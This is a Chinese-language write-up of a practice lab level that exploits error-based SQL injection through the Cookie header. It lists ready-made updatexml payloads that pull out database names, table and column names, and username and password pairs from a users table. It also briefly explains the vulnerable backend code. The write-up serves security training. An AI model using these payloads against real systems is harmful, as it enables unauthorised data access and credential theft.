这关刚进去是个登录框
输入正确的用户名和密码之后,会出现下面这个页面。这个页面中出现的信息包括User-Agent,客户端ip地址,cookie,用户名,密码,用户id
用户登录过程中burpsuite抓到两个request报文,第一个传送用户名和密码,第二个请求登录成功后的新页面,而这个request报文是携带cookie的
将这个携带cookie的报文send to repeater。然后我在User-Agent和Cookie头正常内容的末尾都加了单引号试一下,发现报错的位置和cookie头有关(另外这关的标题好误导人,标题里写POST,可是这关有注入点的报文是GET请求报文,只不过注入点不在url中,在请求头内而已)
剩下的就还是报错注入了,和前面两关差不错,payload如下:
#获取服务器上所有数据库的名称
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or '
#获取pikachu数据库的所有表名称
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1) or '
#获取pikachu数据库users表的所有列名称
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e),1) or '
#获取pikachu数据库users表的username和password列的所有值
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),32,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),63,31),0x7e),1) or '
Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),94,31),0x7e),1) or '
本关代码中,如果用户输入的用户名和密码在数据库中可以查询到,则后端代码中会将用户名设置为cookie,该cookie超期前,用户登录网页,会触发147行的sql语句的执行,而报错位置在151行mysql_error()函数